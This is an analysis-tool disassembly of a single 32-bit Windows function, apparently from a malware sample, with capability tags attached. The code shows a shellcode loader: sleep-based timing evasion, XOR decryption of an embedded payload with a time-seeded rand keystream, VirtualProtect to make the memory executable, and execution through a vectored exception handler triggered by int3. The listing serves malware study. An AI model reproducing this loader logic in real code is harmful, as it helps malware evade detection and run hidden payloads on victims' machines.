Function at 0x10001f40
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x64
mov eax, dword [0x10009008]
xor eax, esp
mov dword [esp + 0x60], eax
push ebx
push esi
push edi
mov eax, 0x1f4
nop dword [eax]
dec eax
lea ecx, [esp + 0x30]
mov dword [esp + 0x44], eax
call fcn.10001240
lea ecx, [esp + 0x18]
call fcn.10001240
mov esi, dword [esp + 0x1c]
cmp esi, 0x7fffffff
jg 0x10001f9c
mov ebx, dword [esp + 0x18]
jl 0x10001f91
cmp ebx, 0xfa0a1eff
jae 0x10001f9c
add ebx, 0x5f5e100
adc esi, 0
jmp 0x10001fa4
or ebx, 0xffffffff
mov esi, 0x7fffffff
mov dword [esp + 0x10], esi
nop dword [eax + eax]
lea ecx, [esp + 0x20]
call fcn.10001240
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
cmp edx, esi
jg 0x10001fcf
jl 0x10001fcb
cmp ecx, ebx
jae 0x10001fcf
xor al, al
jmp 0x10001fd1
mov al, 1
test al, al
jne 0x10002062
mov eax, ebx
sub eax, ecx
mov dword [esp + 0x14], eax
sbb esi, edx
mov dword [esp + 0xc], esi
call dword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
push 0
push 0x64
push edx
push eax
call fcn.100054e0
mov ecx, dword [esp + 0x14]
mov edi, edx
mov edx, dword [esp + 0xc]
mov esi, eax
call fcn.10005520
comisd xmm0, xmmword [0x10006980]
jbe 0x10002021
add esi, 0xad160000
adc edi, 0x311cd
jmp 0x10002029
add esi, dword [esp + 0x14]
adc edi, dword [esp + 0xc]
push 0
push 0x3b9aca00
push edi
push esi
call fcn.10005350
mov dword [esp + 0x48], eax
imul eax, eax, 0x3b9aca00
mov dword [esp + 0x4c], edx
sub esi, eax
lea eax, [esp + 0x48]
push eax
mov dword [esp + 0x54], esi
call dword [sym.imp.MSVCP140.dll__Thrd_sleep]
mov esi, dword [esp + 0x14]
add esp, 4
jmp 0x10001fb0
lea ecx, [esp + 0x28]
call fcn.10001240
mov ebx, dword [esp + 0x28]
sub ebx, dword [esp + 0x30]
mov edi, dword [esp + 0x2c]
sbb edi, dword [esp + 0x34]
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add eax, dword [esp + 0x48]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x1e
idiv ecx
push 0
push 0xf4240
push edi
push ebx
mov esi, edx
call fcn.10005350
push 0x3fc75
lea ebx, [eax + 0x6ef1e]
add ebx, esi
mov dword [esp + 0x14], ebx
call fcn.100049ff
add esp, 4
mov edi, eax
mov dword [esp + 0xc], edi
push ebx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, str.__h4_v
add esp, 4
mov esi, edi
sub ebx, edi
mov edi, 0x3fc75
nop dword [eax]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
lea esi, [esi + 1]
mov ecx, 0x3fc75
idiv ecx
mov al, byte [ebx + esi - 1]
inc dl
xor al, dl
xor al, byte [esp + 0x10]
mov byte [esi - 1], al
sub edi, 1
jne 0x100020f0
mov edi, dword [esp + 0xc]
cmp byte [edi], 0xe9
jne 0x10002124
cmp byte [edi + 1], 0
je 0x10002142
mov eax, dword [esp + 0x44]
test eax, eax
jne 0x10001f60
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.1000454f
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
push 0x3fc75
push edi
push 0x10049230
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 1
push edi
call fcn.1000455d
add esp, 8
push 0
call esi
lea eax, [esp + 0x44]
push eax
push 0x40
push 0x3fc75
push 0x10049230
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x100062f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x100021db
movaps xmm0, xmmword [str.AddVectoredExcep]
lea eax, [esp + 0x48]
push eax
push esi
movups xmmword [esp + 0x50], xmm0
mov dword [esp + 0x60], 0x6e6f6974
mov dword [esp + 0x64], 0x646e6148
mov dword [esp + 0x68], 0x72656c
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100021d4
push 0x100015c0
push 0
call eax
int3
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x6c]
mov eax, 0x8123
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000454f
mov esp, ebp
pop ebp
ret